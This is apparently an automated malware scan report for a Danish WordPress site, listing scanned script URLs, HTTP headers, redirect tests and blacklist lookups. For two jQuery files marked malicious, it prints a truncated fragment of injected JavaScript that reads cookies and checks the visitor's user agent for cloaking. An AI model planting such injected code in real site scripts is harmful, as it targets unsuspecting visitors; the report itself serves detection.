Scanned pages/files
Request | Server response | Status |
http://www.kirstinemengel.dk/ | 200 OK Content-Length: 25642 Content-Type: text/html | clean |
http://www.kirstinemengel.dk/wp-includes/js/jquery/jquery.js?ver=1.11.1 | 200 OK Content-Length: 96774 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo jQuery.noConflict(); Antivirus reports:
| ||
http://www.kirstinemengel.dk/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 8167 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo Antivirus reports:
| ||
http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js | 200 OK Content-Length: 93100 Content-Type: text/javascript | clean |
http://www.kirstinemengel.dk/js/holder.js | HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Connection: close Date: Wed, 04 Mar 2015 11:31:13 GMT Pragma: no-cache Location: http://www.kirstinemengel.dk Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Set-Cookie: PHPSESSID=tbbkpc08vle2vqn66uu5pmlfq1; path=/ X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php X-Powered-By: PleskLin | clean |
http://www.kirstinemengel.dk/test404page.js | HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Connection: close Date: Wed, 04 Mar 2015 11:31:13 GMT Pragma: no-cache Location: http://www.kirstinemengel.dk Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Set-Cookie: PHPSESSID=7vtc9vrn0q11k3c067ie0872t0; path=/ X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php X-Powered-By: PleskLin | clean |
http://www.kirstinemengel.dk/js/browser.js | HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Connection: close Date: Wed, 04 Mar 2015 11:31:14 GMT Pragma: no-cache Location: http://www.kirstinemengel.dk Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Set-Cookie: PHPSESSID=7eagt0r0tdk3n96cv3iobe5rr1; path=/ X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php X-Powered-By: PleskLin | clean |
http://www.kirstinemengel.dk/wp-content/themes/onlineplus/modules/slider/kirstineslider/slider.js | 200 OK Content-Length: 6693 Content-Type: text/javascript | clean |
http://www.kirstinemengel.dk/wp-content/themes/onlineplus/modules/slider/kirstineslider/init.js | 200 OK Content-Length: 203 Content-Type: text/javascript | clean |
http://www.kirstinemengel.dk/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20 | 200 OK Content-Length: 15248 Content-Type: text/javascript | clean |
http://www.kirstinemengel.dk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.9.3 | 200 OK Content-Length: 9658 Content-Type: text/javascript | clean |
http://www.kirstinemengel.dk/fancybox/source/jquery.fancybox.js?v=2.1.5 | HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Connection: close Date: Wed, 04 Mar 2015 11:31:14 GMT Pragma: no-cache Location: http://www.kirstinemengel.dk Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Set-Cookie: PHPSESSID=4l763c3h3mk01qckh3vlqdft56; path=/ X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php X-Powered-By: PleskLin | clean |
http://www.kirstinemengel.dk/fancybox/source/helpers/jquery.fancybox-media.js?v=1.0.6 | HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Connection: close Date: Wed, 04 Mar 2015 11:31:15 GMT Pragma: no-cache Location: http://www.kirstinemengel.dk Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Set-Cookie: PHPSESSID=fvfp6bh7b96hlosbrj2rv066b7; path=/ X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php X-Powered-By: PleskLin | clean |
http://www.kirstinemengel.dk/fancybox/source/helpers/jquery.fancybox-buttons.js?v=1.0.5 | HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Connection: close Date: Wed, 04 Mar 2015 11:31:15 GMT Pragma: no-cache Location: http://www.kirstinemengel.dk Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Set-Cookie: PHPSESSID=jggb0vl3brne6tgb7eqcjs9he5; path=/ X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php X-Powered-By: PleskLin | clean |
http://www.kirstinemengel.dk/js/placeholder.js | HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Connection: close Date: Wed, 04 Mar 2015 11:31:15 GMT Pragma: no-cache Location: http://www.kirstinemengel.dk Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Set-Cookie: PHPSESSID=3b89p3o0fhcddtcc8mafs8g3r3; path=/ X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php X-Powered-By: PleskLin | clean |
http://www.kirstinemengel.dk/js/onlineplus.js | HTTP/1.1 301 Moved Permanently Cache-Control: no-cache, must-revalidate, max-age=0 Connection: close Date: Wed, 04 Mar 2015 11:31:15 GMT Pragma: no-cache Location: http://www.kirstinemengel.dk Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Set-Cookie: PHPSESSID=31noi9jc5tn9r8hmdojpm3qgd6; path=/ X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php X-Powered-By: PleskLin | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: kirstinemengel.dk
Result:
GET / HTTP/1.1
Host: kirstinemengel.dk
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: kirstinemengel.dk
Referer: http://www.google.com/search?q=kirstinemengel.dk
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: kirstinemengel.dk
Referer: http://www.google.com/search?q=kirstinemengel.dk
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=kirstinemengel.dk
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://kirstinemengel.dk/
Result: kirstinemengel.dk is not infected or malware details are not published yet.
Result: kirstinemengel.dk is not infected or malware details are not published yet.